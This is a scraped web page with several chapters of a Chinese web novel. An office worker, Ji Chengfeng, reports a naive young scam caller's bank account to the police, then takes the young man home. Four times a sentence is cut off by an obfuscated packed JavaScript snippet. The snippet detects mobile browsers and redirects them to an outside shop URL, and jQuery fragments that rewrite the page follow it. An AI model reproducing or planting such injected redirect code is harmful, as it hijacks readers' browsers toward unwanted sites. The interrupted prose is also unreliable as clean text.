他从张姐部门出来,整个人都烦躁到不行,今天一下午本来是来盯流程的,想着流程走完款就能放下来了,谁能想到出了这么个岔子。 他焦躁地去吸烟室点了根烟,狠狠地吸了两口,他那个吸法是真不要命,一口下去烟雾没有冒出来,燃着的烟倒是少了半截。 就在这时他放在衣服口袋里的手机传来一声消息提示,纪乘风掏出来打开一看,他傻逼领导跟催命一样,发了条消息。 傻逼:【(笑脸)乘风啊,流程没有问题吧?今天款能放下来么?】 “草。”纪乘风实在是没忍住,咬牙切齿地低声骂了一句。 他都懒得回消息,又借着那烟头还没熄灭的星火再点燃了一根。 纪乘风吐出一口烟雾,他看着烟雾笼罩自己再慢慢飘散,在这一片难闻的尼古丁味里,他想到很多人都劝他少抽点烟,说现在年纪还不算大还能抗得住,但照他这个抽法,以后年纪上来了,身体肯定会出问题的。 纪乘风很冷漠地想,抽死他吧,没钱治了就死。 突然他口袋里那手机自带的出厂铃声又开始发力了,响得那叫一个欢快。 纪乘风烦躁地摁灭烟头,觉得大概率是他那傻逼领导见他没回消息又打了个电话催过来了。 他接起电话:“喂。” 可让他没想到的是手机那头传来软软的一声:“纪先生……” 纪乘风:“……” 小骗子怕纪乘风以为他又是打电话过来骗人的,他有些焦急道:“纪先生,我……我是想谢谢你,谢谢你接我的电话,还听我说这么多,很感谢你,祝你……” 小骗子顿了顿,一时间脑子里完全找不到词,只得硬着头皮又说了那一句:“祝你工作顺利、生活愉快。” 纪乘风很难形容自己此刻的心情,不亚于邪恶反派都已经黑化到准备引爆地球了,结果蹦出来个脑筋不太正常的小骗子,摸着他的脑袋不停地跟他道谢,还吟唱了一句:“祝你工作顺利、生活愉快。” 听起来很傻逼,但关键是他还真觉得自己被净化了…… “等一下。”纪乘风预感到对方马上就要挂电话了,而且说不定今天之后再也都接不到对方的电话了,他立马叫住了对方,试图将通话继续下去。 小骗子:“纪先生……” 纪乘风问他:“你为什么每次都要给我打电话?” 小骗子沉默了一下,然后老老实实地回他:“因为只有纪先生不会挂我的电话,只有每次跟你打,才能达成有效电话时长。” 纪乘风:……还真是好朴实无华的理由啊。 纪乘风突然就有点同为天涯沦落牛马的心酸,原来每个牛马即便是骗子都有效电话一说啊。 小骗子:“纪先生,你放心,以后我都不会再给你打电话了。” 纪乘风冷着脸问他:“为什么?” 问完纪乘风自己都愣住了,他现在这是在做什么?期待一个骗子的电话? 纪乘风!你是不是有病啊!“傻”这种东西是会传染的是吧? 小骗子认认真真地告诉他:“因为我每次都给你打电话刷有效电话时长被他们发现了,他们说这样不行,他们要我以后不准再跟你打了。” 纪乘风:…… 他真的是越了解这小骗子,越觉得他脑子不好使,傻得甚至让人有点心疼了。 小骗子还在那头:“真的很谢谢你纪先生。” 纪乘风从吸烟室走出来,他深吸了口外面的新鲜空气,问那傻乎乎的小骗子:“你之前跟我说,要把钱汇到哪个账户来着? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357945|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小骗子一愣,“纪先生……” 纪乘风走到临近的工作台,问对方借到了纸和笔,“说吧,哪个账户。” 小骗子比他还急,“纪先生,你不要汇钱,我……你……”他小小声道:“你不要被骗了,纪先生。” 纪乘风:……他像那么没脑子的人么? 纪乘风皱了一下眉:“赶紧的,快告诉我账户,我还有一堆事要做。” 小骗子迫于他的压力,最终还是把账户报给了他,说完还不放心,“纪先生,你的银行卡账户交易流水没有问题的。” 纪乘风压根没理会他,接着问他:“你叫什么名字?” 小骗子是真老实,问什么答什么,“李树。” 纪乘风心想,真晦气,怎么就跟他傻逼领导一个姓呢?他自从在那傻逼手底下做事之后,对姓李的都有点不待见了。 “行了,挂了。”纪乘风知道了所有想知道的信息,转头就把电话挂了。 他先是给傻逼领导回了条消息:【领导,流程有点问题,款暂时还放不下来,我现在动身去叉叉公司沟通一下,有结果了再跟你汇报】 纪乘风发完就开车动身出去了。 他才没有去什么叉叉公司,他去的是附近的派出所。 纪乘风下车站在派出所门口打开了自己的手机银行软件,在转账应用里,照着纸条上小骗子说的那个账号输入了上去,然后在汇款金额那栏摁了3000。 在要点击确认汇款输入密码的时候,纪乘风犹豫了一下,他心情有些复杂,他想到林顺苦口婆心冲自己说的那些被骗经验,自己还信誓旦旦地说不会被骗,可现在他都已经做好准备给对方打钱了。 3000元是可以立案的最低金额,可这种诈骗有时候就算立案了,也未必能追回来。 纪乘风“啧”了一下,还是点击了确认,输入了密码,手机立马收到短信,显示款项已经成功汇入对方账户了。 他已经做好了3000块钱打水漂的准备。 纪乘风做完这一切就大步走进了派出所,他拎着自己的西装外套,人模人样地站在派出所接待处,一本正经地冲对方道:“你好警察同志,我要报警,我被电信诈骗了,已经给对方账户汇入了三千块钱。” 他说着举起了手机,把汇款界面递给对方看。 纪乘风点点了手机:“就是这个账户,如果可以的话,麻烦要先冻结一下对方的账户。” 对面的警察听得一愣一愣的,这被诈骗的,业务能力比他都还熟稔? 纪乘风垂下眼,还不等警察多问,他就一股脑的全部开始交代了。 “给我打电话的是我远房弟弟,他叫李树,小时候发烧把脑子烧坏了,不太聪明。我怀疑他是被骗进了诈骗公司,已经跟我打过很多次电话要钱了,问他要钱是用来做什么的,他也支支吾吾说不清楚,我跟家里其他人打听了一下,说是他从家里出来,已经失踪有一段时间了,谁也联系不上。” 纪乘风一口气说完,只觉得自己不去做编剧真是可惜了,在那傻逼手底下做事真的是屈才了。 警察把他说的事情都记了下来,然后留了一个他的手机号码,“好的,我们这边马上派人处理,到时候有什么情况,会电话联系你的。” 纪乘风礼貌一笑,点了点头,“那就麻烦警察同志了。” 5. 接弟弟 第二天一上午过去了,纪乘风都还没接到警察的电话。 中午吃完饭,他心里实在是郁闷,三千块钱就这样打了水漂,警察的电话没等到也就算了,小骗子以后估计也联系不上了。 他越想越烦躁,夹着根烟又去吸烟室狠狠抽了一根。 整整一天,派出所那边都没有一点消息,纪乘风累死累活干了半个月,算上房贷和这三千块,不止没赚钱还倒贴了。 气得他洗澡的时候又想到林顺跟他说的那些话,“纪哥,你也别太不看起这些骗子,他们真的有点手段在身上的,很多人最开始都是跟你一样的想法,最后还不是被骗了。” 草。 纪乘风越想越觉得自己是不是真被那小骗子给骗进去了,怎么可能会有人傻到三番五次给同一个人打诈骗电话。 除非真的是脑子烧坏了,有毛病。 他一把关掉淋浴头,赤裸着身子从卫生间出来。 纪乘风一个人住,也不讲究那些,每次洗完澡卫生间里头都是热气腾腾的,他呆不住,他就会光着身子出来穿衣服,反正也没人看见,就怎么舒服怎么来了。 他取了浴巾搭在自己身上,把湿漉漉的头发往后抓了一把,整个人相当的郁闷。 他觉得自己真的是多管闲事操心那小骗子,钱被骗了也就算了,最主要的是显得他很蠢,人家都贴脸告诉他:我是骗子了。他纪乘风还上赶着去给人送钱…… 这事说出去给林顺听,他都得乐死。 纪乘风这辈子都没想过自己还能有这么蠢的时候。 他擦干了身上的水渍,穿好睡衣坐到沙发上,伸手摸到茶几上的烟,又忍不住点了一根,他想了想,然后给自己的手机下载了一个国家反诈APP…… 国家反诈app还是得下一个啊。 纪乘风通过这件事深刻认识到了一点,人啊有时候也不能太过自信了。 有些看起来单纯无害的人,很有可能只是在扮猪吃老虎。 第二天,已经调理好心态的纪乘风又开始全身心投入工作了。 小骗子这事对纪乘风来说不过是一个小插曲,牛马又开始每天两点一线,早八晚十的日常生活了。 叉叉公司的贷款的事还没有解决,对方也不太愿意配合工作,架子高得很,纪乘风好几次跑过去都吃了闭门羹,连他们老板的人都没有见到。 他想是不是得找时间约人出来吃个饭、喝个酒什么的,见了面才好办事。 日子就这样平平无奇卷生卷死的过了大概一个多星期。 在一个风和丽日的下午,纪乘风刚灌完一杯咖啡,他的手机铃声响了。 是一个十分陌生的号码。 纪乘风接起来:“喂,你好,请问你是?” “纪先生……”软软的一声。 纪乘风有一瞬间的错愕,吓得他立马看了一眼手机号码,不对啊,他虽然不记得那小骗子的电话,但怎么也不可能是这个。 纪乘风冷静地问了一句:“你是谁?” 对面传来一阵窸窣声,紧接着换了个人接电话。 “喂,你好,是纪乘风先生吧。” 纪乘风越听越觉得古怪,他没敢应声,实在是摸不准现在是个什么情况。 他有点被骗怕了。 “是这样啊,你不用太紧张,一个多星期前你在派出所这边报警的事,还有印象吧,我是当时留你号码的警察。” 纪乘风略微松了口气。 “给你打这个电话首先是想感谢你提供的信息,我们通过一个多星期的排查,端掉了一个专业电话诈骗的公司,然后就是你弟弟也被安全救出来了,不用太担心,诈骗款我们也帮你追回来了,到时候应该会原路返回到你账户里。” 纪乘风笑了笑,神清气爽:“谢谢警察同志,你们辛苦了。” 对面也乐呵乐呵的,“不辛苦不辛苦,应该的,还很感谢你提供的信息。” 两人一派和气,都只差称兄道弟了。 对面突然来了一句:“对了,你什么时候把你弟弟接回去?” 纪乘风一愣:“接我弟弟?” 警察同志:“对啊,就是你那个被骗进诈骗公司的弟弟。” 对方说着一顿,略微压低了声音道:“看着确实……什么都不知道,怪可怜的。” 纪乘风:…… 纪乘风想了想冲警察道:“你让我弟弟接电话吧。” “好。” 电话又被递回到了小骗子手里。 “纪先生……”小骗子可怜巴巴的。 纪乘风听得眉头直跳,实在是受不了了:“别喊了。” 小骗子抿着唇,不知道除了喊“纪先生”自己还能说什么,他什么都不知道。 纪乘风深吸了口气,也不想太凶,他冲这小骗子说:“你现在从诈骗公司里出来了,就赶紧回家去,要实在没钱,车票我给你买了。” 纪乘风说到这,自己都觉得自己简直就是雷锋在世,这样做好人好事,修这么高的功德,不要命了,下辈子不得当国宝熊猫,享一辈子福。 小骗子沉默了。 纪乘风无语,他也觉得这小骗子不太聪明,只好耐着性子问他:“你有没有你家里人电话?比如说你爸爸妈妈的?我可以帮你联系。” 小骗子软着嗓子告诉他:“我没有爸爸妈妈。” 纪乘风一愣,拧着眉不确定道:“没有是什么意思?” 小骗子也很不解他为什么要这样问自己,这是一个很简单的问题呀,他告诉纪乘风:“我爸妈在我很小的时候就已经死了。” 小骗子说得轻飘飘的,那样轻,轻到纪乘风都开始怀疑,没有父母是一件很正常的事么?还是说傻子就是比别人更难感知到苦难。 纪乘风突然又想到他第一次接小骗子电话的时候,骂他的那句话:“你们骗子这种事都做得出来是不是没爸没妈的?家长会端两盒就能去了?” 草。纪乘风你真特么不是个人啊。 纪乘风咽了咽嗓子,“你在派出所等着,我去接你。” 小骗子拿着手机茫然地眨了眨眼睛,他也不知道纪乘风为什么要来接自己,但是他很乖,乖乖地应了一声:“好。” 尾音都带着乖巧。 纪乘风听得心里更不得劲了。 他拿起桌上的钥匙就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357946|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 对面的林顺探出脑袋来喊他:“纪哥你去哪啊?一会还有个会呢。” 纪乘风头也不回道:“我约了叉叉公司的老总,你一会帮我跟领导说一声,我请个假,好不容易约到的。” 林顺冲他挥手:“行的,一会帮你去请。” 纪乘风一脚油门开到了派出所,人都到了门口,才后知后觉地反应过来,他这是要干嘛? 小骗子回不了家,直接让派出所帮他找家人不就行了,人现在在派出所,又不是诈骗公司,已经安全到不行了,他在担心什么? 他质问自己:纪乘风,你现在是很闲么?还有空管这些破事? 无语。 纪乘风烦躁地抓了一把头发,手不自觉就想往口袋里摸,他很烦,一烦就想抽烟。 还没等他把烟掏出来,就看到派出所门口有个小孩瞪着大眼睛看着自己。 纪乘风微微一愣,手下意识从口袋里抽出来了,不能当小孩面抽烟。 眼前这小孩瞧着年纪应该不大,乍一看还真看不出成年没有,小小一张脸生得有些圆,眼睛也是圆的,就显得特别稚气。 对方顶着一头营养不良的栗色头发,穿着一身不太合身并且明显不属于他衣服的皮夹克,上头甚至还有些起皮了,下身穿着简单的牛仔裤,踩着一双帆布鞋。 看着着实可怜。 小孩亮亮着一双眼睛冲纪乘风笑。 纪乘风木着脸,不用想了,这傻子肯定就是那小骗子了。 纪乘风试探地喊了一声:“李树?” 小孩眼睛更亮了,“纪先生!你怎么知道我的名字!” 纪乘风无语:“……你电话里告诉过我。” 李树狂点头,“纪先生,我先去里面拿东西!你等一下我,很快的!” 纪乘风:“……” 他看着转头跑进去拿东西的小骗子,是真的很想把对方叫住。 不是,这小骗子还真想拿了东西跟他走啊? 纪乘风头疼,他能把这小骗子接哪去?总不能把人带回家去吧?像个什么样子。 李树不一会儿就抱着一个帆布背包从里头出来了。 他眼巴巴地看着纪乘风。 纪乘风愁得想抽根烟,都是些什么破事。 他拧着眉无奈地领着李树往自己停车的方向走。 期间在走过去的路上,纪乘风忍不住回头问了这小骗子一句:“你成年了么?” 因为两人离得近,纪乘风又比他高出一个脑袋,李树只得微微仰头看向他,一双大眼睛里全都是诚恳,“纪先生,我成年了的,我今年已经二十岁了。” 语气里也不知道在骄傲什么。 纪乘风看着李树,眼底没有什么神情,他嗤笑了一句:“呵,小孩。” 可不就是小孩一个么?成年了这种事都能拿出来沾沾自喜,没见过什么世面,单纯又没什么攻击性,说不定被人卖了还要帮别人数钱。 纪乘风这话里不是纵容和宠溺,而是一种更微妙的嘲弄和不屑。 他确实看不上这样小孩家家的,多大年纪了都还跟没长大一样。 他厌蠢。 6. 带回家 等两人都坐进车里,纪乘风手搭在方向盘上,实在是不知道该带这小骗子去哪。 他看了看手腕上的表,下午4:56,不算很早了。 他问李树:“有没有能落脚的地方。” 李树坐在副驾驶,抱着他的帆布包摇了摇头。 纪乘风深吸了口气,继续问他:“有没有想去的地方?” 李树摇了摇头。 纪乘风没招了,他算是明白那警察说的什么都不知道是什么意思了。 这要说这小骗子小时候脑子没烧坏,他纪乘风第一个不信。 纪乘风放弃了挣扎,他开始启动车辆,“行了,先带你去吃点东西。” 他都已经不再问对方想吃什么了,他觉得大概率还是会得到一个摇头的结果。 纪乘风直接开车把人带到了塔斯汀,小孩大概率都爱吃这个。 他弟就很喜欢吃,还说塔斯汀要比肯德基好吃多了。最主要是便宜。 纪乘风把人领进去,手机扫码了递给李树:“想吃什么自己点,一会边吃边想,你到底能去哪。” 李树笑了笑:“纪先生,非常谢谢你,你不用管我的,我自己能把自己照顾好。” 纪乘风没搭理他,小孩的话,没有什么参考价值。 李树递回来手机时,上面只点了一个汉堡和一杯可乐。 纪乘风看了他一眼,又加了一些鸡块、薯条之类的。 在等餐的时候,纪乘风一直低头处理工作消息,李树乖乖抱着背包坐在那。 纪乘风一抬头,就对上了李树的眼睛,也不知道李树看了自己多久了。 纪乘风皱眉:“看什么?” 李树问了一句很莫名其妙的话:“纪先生你能吃辣么?” 纪乘风搞不清楚这人到底在想什么,他还以为小骗子是想问这家店辣不辣,“你点的那些不辣。” 李树摇摇头,又重复了一遍:“纪先生你能吃辣么?” 纪乘风不耐烦道:“能。” 他很想多说一句,问这个做什么? 但是纪乘风忍住了,他还是觉得这小骗子脑子有问题,他不想跟脑子有问题的人聊天。 李树一下子笑了起来,他一笑脸上的弧度就特别明显,圆圆的眼睛又亮又弯,是特别热情洋溢又招人喜欢的笑脸。 纪乘风都被他笑得一愣,随后在心里感叹道,果然啊,傻子就是快乐。 李树去翻他的背包,然后当着纪乘风的面从包里掏出一坨红色的塑料袋,里头不知道裹着什么东西。 纪乘风看得心惊肉跳,他联想到小骗子问他能不能吃辣,生怕对方从那脏兮兮的红色塑料袋里掏出什么东西来给他吃。 好在塑料袋一层一层扒开,里头是一罐一罐的像剁辣椒酱一样的东西。 李树拿出两罐红彤彤的辣椒酱罐头递给纪乘风,“纪先生,这个辣椒酱是我奶奶做的,特别香,拌饭吃我都能吃两大碗,这里头的辣椒是山里长的,跟城里的辣椒不一样,你拿回去尝尝。” 纪乘风:…… 纪乘风死死地盯着那罐头上几个大字:桔子罐头。 他都能想象到,对方奶奶或者是这小骗子吃完桔子罐头甚至还要对着瓶口喝里头的汁水,喝完之后随便在哪个河里冲一下,就开始往里头装剁辣椒酱了…… 纪乘风越想脸色越苍白,他偏过头维持着勉强的礼貌:“不用了谢谢,你奶奶做的,你自己留着吃吧。” 李树却比纪乘风想象中的还要敏锐。 李树先是拿桌上的纸将辣椒酱罐头的瓶身擦拭干净,再从背包里掏出一个干净的塑料袋,细细装好了放到纪乘风面前。 纪乘风有点尴尬,他其实也不是那么没礼貌的人,平日里虽然说话刻薄了点,但为人的基本礼仪他还是有的。 人家小孩家里辛辛苦苦做的辣椒酱罐头,好心跟自己分享,他当时脸上的表情大概率露馅了,没有控制好,让对方意识到了。 纪乘风想着该怎么掩饰一下,不至于伤了这小孩的心,却不想转头就对上了李树亮晶晶的眼睛。 李树认认真真地看着他,眼睛里澄澈无比,他说:“纪先生不用担心,装剁辣椒酱的罐头是特地买回来的干净的,没有人用过的。” 纪乘风准备的完美应对策略就这样被真诚杀死了。 他本来还想装模作样地夸奖一番,再随便找个理由拒绝了,可现在面对李树那双眼睛,他不自觉伸出手将那两罐子剁辣椒酱提了过去,应了一声:“好。” 李树还在那细细跟他说:“这辣椒酱里头放了豆豉和一点酒,放油一起炒的,闻起来特别香,你有空了可以尝尝。” 纪乘风提着两罐子剁辣椒酱,整个人木着脸,应道:“嗯。” 等点的东西好不容易送上来,纪乘风不自觉松了口气。 李树看着满满一桌子的东西,从里面挑出自己点的汉堡和可乐,把其他的都推到了纪乘风面前。 纪乘风看着他,“我不吃,都是给你点的。” 李树有些为难地拧着眉,“纪先生,你点这么多,我吃不完的。” 纪乘风颇有点幼稚的报复心理,“很香,别浪费了。” 然后他就看到这个小骗子跟个仓鼠一样,鼓着嘴巴一个劲地往里面塞,吃的腮帮子都鼓了起来,看起来蠢萌蠢萌的。 纪乘风有点想笑。 在小骗子努力进食的时候,纪乘风的手机又响了。 纪乘风拿出来一看,又是他那个跟催命一样的领导,纪乘风也能够猜得到,好好的会他没有参加也没有自己去请假,这傻逼肯定会给他来电话的。 纪乘风接起来,“李行。” 那傻逼就先是在手机那头笑。 笑得跟傻逼一样。 “乘风啊,林顺跟我说你今天下午约到叉叉公司的老总了?现在还在陪着没?” “没,这次还是没约到老总。”纪乘风看着对面吃得脸颊鼓鼓的小骗子,睁着眼睛说瞎话:“只约到了财务负责人,现在在一块吃饭呢。” “那也不错了,敞开了请,到时候问我报销!” 纪乘风:“不用了,这点小钱就不用李行费心了。” 确实是小钱,这小骗子撑死了也没吃完这三十块钱。 李树听到对话,懵懵地抬起眼来看向纪乘风,因为腮帮子里还有没咽下去的食物,他不能说话,就那样瞧着纪乘风,不知道纪乘风说的是什么意思。 纪乘风还在听着傻逼领导在手机那头交待这交待那的,嘴上有一搭没一搭的敷衍着,见李树看向自己,他指了指李树还没吃完的鸡块,示意他吃完了赶紧走。 李树脑袋摆得像拨浪鼓,他实在是吃不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357947|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 纪乘风都有点担心这小骗子再使点劲,嘴巴里兜着的那点东西全部都得甩出来。 他挂了电话伸手将剩下的鸡块拿到了自己面前,“行了,吃不下就别吃了。” 李树咽下嘴里的东西,这才如释重负道:“谢谢纪先生。” 纪乘风把剩下的鸡块咬在嘴里,也不知道有什么好谢的,他一口咬下去,不明白就这玩意,这小骗子是怎么吃得这么香的。 等吃完,两人走到车跟前,纪乘风又犯难了。 他转过身问小骗子:“你是不是没地方去?” 李树眨巴着眼,似乎也觉得这个问题很难回答。 纪乘风看着眼前这个估计兜里也掏不出来一分钱的小骗子,无奈地叹了口气,“上车。” 纪乘风这辈子也想不到,自己竟然会把一个素不相识,甚至还有骗子前科的陌生人带进了家里,还是自己主动提出的。 讲出去都让人觉得有病。 纪乘风打开门锁,示意人进去:“把鞋子换了。” 李树背着包站在玄关口没动。 纪乘风又催促了一声,“换鞋子。” 李树这才慢吞吞地开始脱鞋,那硬胶质地的鞋子里头,他竟然连双袜子都没有穿,五个圆圆的脚趾头骤然从鞋子里被拿出来,赤裸着什么遮盖都没有,彼此都有些局促地贴在一起。 它们的主人也局促得厉害。 纪乘风没有什么表情,“鞋子换好了就进去。” “好。”李树略微松了口气,换鞋的动作这才丝滑起来。 纪乘风进来关上门,提着两罐子辣椒酱冲李树道:“没有客房,你就睡沙发,我暂时可以收留你几天,你趁早自己找个地方去。” 李树眼睛亮晶晶的,软乎乎道:“谢谢纪先生。” 纪乘风皱了一下眉,都二十岁的人了,说话怎么还一股子没长大的软糯味,家里都没人教他好好说话么? 想到这纪乘风又一顿,表情也变得有几分微妙,这小孩从小就没有父母……确实没人教。 纪乘风不由得语气放缓了些:“我白天要上班,你知道我电话吧?有什么事都可以给我打电话,这门是电子锁,我一会告诉你临时密码。” 纪乘风说完,又不确定地问了一句:“手机总有吧?” 他是真被这小骗子弄没招了。 “有的有的。”李树立马在背包里找了起来。 纪乘风稍微松了口气:“有就……” 然后他就看到小骗子兴高采烈地举起了他那部老人机。 纪乘风刚松的那口气又提起来了。 那手机比他老家的墙砖还厚,方方正正的,一手机下去,人死不死不知道,脑袋肯定是能被砸出来一个洞。 纪乘风安慰自己,没关系,好歹是能打电话。 “行。”纪乘风转过身朝厨房走去,他把冰箱门打开,将两罐子辣椒酱放了进去,“冰箱里的东西你可以自己弄着吃,我不在,你就自己想办法解决一日三餐。” 李树点头如捣蒜,他问纪乘风:“那纪先生明天什么时候回来呢?” 纪乘风想,这小骗子还操心自己什么时候回来了,他先把他自己管好吧,嘴上敷衍道:“不确定。” 李树就笑,“好,那纪先生明天早点回来。” “嗯。” 7. 等小骗子电话1.0 纪乘风给李树抱了一床被子放沙发上,他叮嘱对方:“我夜里觉轻,你别弄太大动静,睡不好,我脾气就会很差,明白了么?” 话里话外都是威胁。 李树洗漱完了乖巧地站在那,整个人紧紧地贴在一起,像是把自己压缩了似的,他认真地点点头。 “行了,我去睡了。”纪乘风交待完毕就回了房间。 等他关上门站在门后,心里还是有些不踏实,他又转身把房间门反锁了。 家里所有贵重物品都在房间里,应该没有什么很大的问题了。 当天晚上,纪乘风一夜无梦,好好一觉睡到了天光大亮。 他早上起床迷蒙中去卫生间洗漱,路过客厅的时候,被沙发上躺着的那个人吓了一跳。 还没睡醒的瞌睡都被吓醒了。 他看着沙发上那个窝在被子里睡得香甜的小骗子,缓了一下这才反应过来,人是他自己昨天带回来的。 一晚上睡太香把脑子都睡没了,自己被自己吓了一跳。 纪乘风懊恼地抓了抓本就乱七八糟的头发,去卫生间洗漱了。 等他收拾完出来,就看到还没睡醒的小骗子掀开被子坐在沙发上,宽大的T恤要掉不掉地挂在肩头,上眼皮和下眼皮都已经在打架了,还要冲着纪乘风软软地来一句:“早啊,纪先生。” 纪乘风瞥了他一眼:“睡你的。” 李树点点脑袋,脑袋都才点到一半,整个人直接往后栽倒在沙发上,吓了纪乘风一跳。 纪乘风走过去一看……这小骗子睡得都起轻微的鼾声了。 纪乘风:…… 傻子才能做到一秒入睡吧。 纪乘风出门前还是有点不放心,照例锁上了房间门。 在公司上班的时候,纪乘风忍不住一直在摆弄手机,他想,这小骗子迷迷糊糊的,大概率醒来没一会儿就要打电话撒娇问他什么东西该怎么弄了。 纪乘风木着脸想,还能怎么办,自己上赶着接到家里的累赘,起码还是要把人照顾好吧,大概也就几天的时间,要是实在不行直接去派出所报案替他找家里人吧。 “纪哥……”林顺突然凑到他耳边偷偷摸摸喊了他一声。 纪乘风回了神,就看到这小子正贴在自己旁边,一脸意味深长地看着自己。 纪乘风稍微离远了些距离,不解地问他:“做什么?” 林顺就“嘿嘿”笑,“哥,等谁电话呢?这一上午,我都看你摆弄手机好多次了,往常可没有这样的。” 纪乘风收回手机,“没有。” 林顺就在那笑,“纪哥是不是等那个喊你‘纪先生~’的电话。” 林顺说“纪先生”几个字的时候还故意夹着嗓子,拖长了音调,恶心巴拉的。 纪乘风毫不客气地伸手把他的脸推开,“有点恶心到我了。” 林顺“嘿嘿”笑了两声,也不皮了,他问纪乘风:“纪哥今天又打算加班到几点?” 纪乘风想了想,“今天早点下班吧。” 林顺瞬间瞪大了眼睛,就跟看不认识的人似地,把纪乘风上下打量了好几遍,“纪哥,你这是什么情况啊,从来没听说过你会早下班啊!” 纪乘风实在是受不他了,随手拿起桌上清新口气的糖递过去,“来,把嘴封上。” 林顺接过口香糖放进嘴里,还要接着问:“纪哥,你今天真的太奇怪了,早点下班回去干啥?一会晚上一起约着吃饭呗。” 纪乘风摇摇头,找了个理由:“我弟过来了。” 林顺:“行吧,想跟纪哥吃顿饭太难了。” 纪乘风没再搭理林顺,他把手伸进兜里又摸了摸手机,心想,这小骗子一个人也不知道能不能行,电话都不跟自己打一个。 而纪乘风家里,终于睡了一个完整觉的李树从沙发上爬了起来,撅着屁股哼哧哼哧把沙发上的被子叠好。 他早上先是面朝着阳光很好的阳台做了一套早操,活动了一下身体。 然后都还没有洗漱就发现纪乘风家里虽然看着简单整洁,但实际上很多地方都落灰了,那阳台上摆的几盆植物更是要死不活的,也不知道多少天没有浇水了。 李树换了套衣服,拿着抹布拖把就开始大扫除。 这小孩一身使不完的牛劲,嘴里也不知道哼着什么歌,饭也没吃,库库就是一顿干。 灰多的地方先用带清洗液的湿抹布擦,湿抹布擦完了干抹布擦,干抹布擦完了用微湿的抹布再擦一遍。 直到那块地方反光发亮。 李树很满意地看着自己的作品,还上嘴哈了口气再擦擦。 多么干净,多么整洁,连人都能照出来了。 他擦完把抹布洗干净晾晒,又蹲在那给阳台上的植物浇水。 那些盆栽植物也不知道多久没人管了,里头的泥土都是硬的,水浇下去都是白浇。 李树想了想又找了个铲子开始翻土,一点一点地把盆子里的土铲松,再往里面浇水。 他仿佛都能看到这枯萎衰败的植物吸满了水份,又重新舒展开来,在土里根系蔓延。 李树相当满意。 等浇完水,他又开始洗拖把擦地了。 纪乘风家不算小,往常都是扫地机器人打扫,但李树哪知道这些,他撸起袖子拿着个湿拖把双腿轮得飞快,几下就把一个房间拖完了。 等把外面拖了个遍,李树突然反应过来纪乘风的房间还没有打扫。 他满是干劲地提着拖把和抹布过去打算打扫,结果那门锁住了,他拧不开。 李树微微一愣,一下子意识到了什么,他抿着唇怔怔地站在原地,刚刚还斗志昂扬的小骗子,瞬间一整个萎靡下来。 纪乘风锁住的房门在向李树传递一个讯息。 对方并不欢迎他、并不信任他、并不是对他毫无芥蒂。 李树努了努嘴,慢吞吞地又把抹布和拖把放回了原地。 他开始收拾自己带过来的所有东西,把它们好好地又重新装回包里,他想自己确实是太打扰纪先生了,如果对方觉得自己麻烦的话,他还是趁早离开的好。 李树总是带着笑意的圆脸上,难得丧气得厉害,他动作迟缓地背起包,一步一步走到玄关。 他站在玄关那想了半天,还是没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357948|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己还有什么能留给纪先生的,他拿着他那比砖块还硬的手机,决定一会走了,一定要给纪先生发一段很长很长的感谢信。 要好好谢谢他。 李树想要穿鞋,他朝自己的鞋子看了过去,然后整个人都愣住了。 他那双硬胶底的劣质帆布鞋里,放着一双崭新的还带着商标的白袜子。 李树眼睛一亮,他生怕是自己看错了,他蹲下身,认认真真地像是在观察什么很神奇的事情。 那双柔软的白袜就那样安安静静地躺在他鞋子里。 会不会是纪先生放错了? 李树这样问自己,但是他嘴角早就已经快要咧到耳后根了。 他很确信,这就是纪先生留给他的。 李树眼睛亮晶晶地拿起那双白袜子,这双袜子很普通,什么多余的花纹也没有。 像纪先生一样,普通但是柔软。 李树又重新恢复了干劲,他把背包又放回去,做了个伟大的决定,他想要纪先生回来了能吃上热乎饭! …… 整整一天,纪乘风的手机出奇的安静,不止没有接到小骗子的电话,甚至就连工作电话都没有接到一个。 纪乘风都在想,这小骗子是不是记不住他电话。 